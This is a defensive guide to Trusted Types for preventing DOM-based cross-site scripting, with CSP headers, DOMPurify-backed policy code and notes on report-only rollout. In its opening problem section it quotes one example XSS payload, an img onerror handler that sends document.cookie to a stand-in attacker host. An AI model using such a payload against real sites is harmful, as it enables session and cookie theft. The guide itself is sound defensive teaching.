Trusted Types
Problem
DOM-based cross-site scripting happens when an untrusted string reaches a sink that interprets it as code. The classic offender is element.innerHTML = userInput, but the family is large: outerHTML, document.write, insertAdjacentHTML, script.src, eval, and iframe.srcdoc all turn strings into executable markup or script. If userInput contains <img src=x onerror="fetch('//evil.com?c='+document.cookie)">, the browser runs the attacker’s code inside your origin, with access to cookies, tokens, and the logged-in session.
The frustrating part is that these bugs look completely ordinary. el.innerHTML = data reads like a harmless assignment, so it sails through code review unless the reviewer happens to trace where data came from three function calls earlier. The dangerous sinks are scattered across the codebase, and every new feature is a fresh chance to reintroduce one. A value that was safe today becomes attacker-controlled tomorrow when someone wires it up to a URL parameter or a server response.
Sanitization helps, but only where you remember to apply it. Static analysis and linting struggle to follow data flow through dynamic code, helper functions, and third-party libraries that hide the assignment inside their own internals. Content Security Policy blocks inline scripts, but DOM XSS often executes without ever loading a script tag. What you actually want is for the browser to refuse the unsafe assignment at the sink, every time, no matter which line of code reaches it.
Solution
Trusted Types flips the default. Once enabled, the dangerous sinks stop accepting plain strings and only accept special typed objects: TrustedHTML, TrustedScript, and TrustedScriptURL. You cannot construct these objects directly. The only way to produce one is through a named policy you create with trustedTypes.createPolicy, which runs your sanitization function and stamps the result as trusted. Assigning a raw string to innerHTML now throws a TypeError instead of silently injecting markup.
You turn enforcement on with a CSP header: Content-Security-Policy: require-trusted-types-for 'script'. From that point, the browser is your enforcement layer. There is no way to accidentally pass an unsanitized string to a covered sink without going through a policy, which means every path to the DOM funnels through code you wrote on purpose.
The real win is centralization. Instead of scattered, inconsistent sanitization calls, you define one policy that wraps a battle-tested library like DOMPurify. The whole application then shares a single audited path to safe HTML. You can lock down which policy names are allowed with the trusted-types directive, and you can define a default policy that the browser invokes automatically whenever a string hits a sink without an explicit policy, which is useful for adapting third-party code you cannot easily rewrite. Roll the whole thing out in report-only mode first so you discover every existing violation in production before you start throwing errors.
Example
The setup has three moving parts: a CSP header to turn enforcement on, one or more policies to produce trusted values, and a report-only phase to find violations before they break anything.
Turning it on
Enforcement is driven entirely by response headers. The first directive tells the browser to require trusted types at script-executing sinks; the second restricts which policy names may be created and disallows duplicates.
Content-Security-Policy: require-trusted-types-for 'script'
Content-Security-Policy: trusted-types sanitize default;
With these headers in place, element.innerHTML = '<b>hi</b>' throws a TypeError. The only assignments the browser will accept are values produced by the sanitize or default policies.
Creating a policy
A policy is an object of factory functions. Each one takes the raw input and returns a sanitized string, which the browser wraps in the matching trusted type. Here a named sanitize policy routes all HTML through DOMPurify.
import DOMPurify from 'dompurify';
const sanitizer = trustedTypes.createPolicy('sanitize', {
createHTML: (input) => DOMPurify.sanitize(input),
});
// Produces a TrustedHTML object, not a string.
const safe = sanitizer.createHTML(userInput);
element.innerHTML = safe; // Accepted: sanitized by the policy.
// A raw string is now rejected at the sink.
element.innerHTML = userInput; // TypeError: requires TrustedHTML.
For code you do not control, such as a third-party widget that writes to innerHTML internally, a default policy gives you a safety net. The browser calls it automatically whenever a string reaches a sink without an explicit policy, so you get one last chance to sanitize.
trustedTypes.createPolicy('default', {
createHTML: (input) => DOMPurify.sanitize(input),
createScriptURL: (input) => {
const url = new URL(input, location.origin);
if (url.origin !== location.origin) {
throw new Error(`Untrusted script URL: ${input}`);
}
return url.href;
},
});
Keep the default policy strict and minimal. Because it runs on every otherwise-unguarded assignment, a permissive default quietly recreates the hole you were trying to close, so treat it as a migration aid rather than a long-term home for real sanitization.
Reporting violations first
Before enforcing, run in report-only mode. The browser does not block anything; it sends a report for each assignment that would have been rejected, letting you find and fix every offending sink across real traffic.
Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-to csp-endpoint
Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"https://example.com/csp-reports"}]}
Collect reports until they go quiet, fix each flagged assignment by routing it through a policy, then swap Content-Security-Policy-Report-Only for the enforcing Content-Security-Policy header. On legacy applications you can run both headers at once: enforce the rules you have cleaned up while keeping report-only coverage on the rest.
Benefits
- Eliminates DOM-based XSS at the source by making it impossible to pass an unsanitized string to a covered sink.
- The browser enforces the rule, so it cannot be forgotten, refactored away, or bypassed by a careless assignment buried in a helper.
- Centralizes sanitization in one audited policy instead of scattered, inconsistent calls, shrinking the surface a reviewer has to verify.
- Turns an invisible data-flow problem into a loud
TypeErrorthat surfaces during development and testing rather than in production. - Layers cleanly with Content Security Policy and output encoding for genuine defense in depth.
- Report-only mode quantifies your exposure with real production data before you change a single behavior.
- Restricting allowed policy names with the
trusted-typesdirective prevents attackers from creating their own escape-hatch policy.
Tradeoffs
- Browser support is uneven. Chromium-based browsers enforce it, but Safari and Firefox have historically lacked support, so Trusted Types is a hardening layer, not your only line of defense.
- Existing code needs refactoring: every dangerous assignment must be routed through a policy, which is real migration effort on a large or legacy codebase.
- Third-party libraries that write to
innerHTMLor setscript.srcinternally will break under enforcement, forcing library updates, wrappers, or a default policy. - A permissive
defaultpolicy is a footgun. Because it runs on every unguarded sink, a sloppy implementation silently reopens the XSS hole you were closing. - It only protects the sinks the spec covers; it does not catch XSS through
javascript:URLs in attributes, style injection, or other vectors outside its scope. - Enforcement depends on shipping and maintaining the correct CSP headers, so a misconfigured proxy or CDN can disable your protection without warning.
- Policy creation and naming add operational complexity, and
createPolicyitself throws if you accidentally create a duplicate name under a stricttrusted-typesdirective. - Sanitization still has to be correct. Trusted Types guarantees content passed through a policy, but a buggy
createHTMLthat fails to strip dangerous markup will happily stamp it as trusted.
Summary
Trusted Types makes the browser reject plain strings at dangerous sinks like innerHTML, accepting only typed values produced by an explicit policy that you wire to a sanitizer such as DOMPurify. Enable it with the require-trusted-types-for 'script' CSP directive, roll it out in report-only mode to surface violations safely, and centralize sanitization in one audited path. It is an advanced, browser-enforced defense that turns scattered, easy-to-reintroduce XSS bugs into a single guaranteed safe route to the DOM.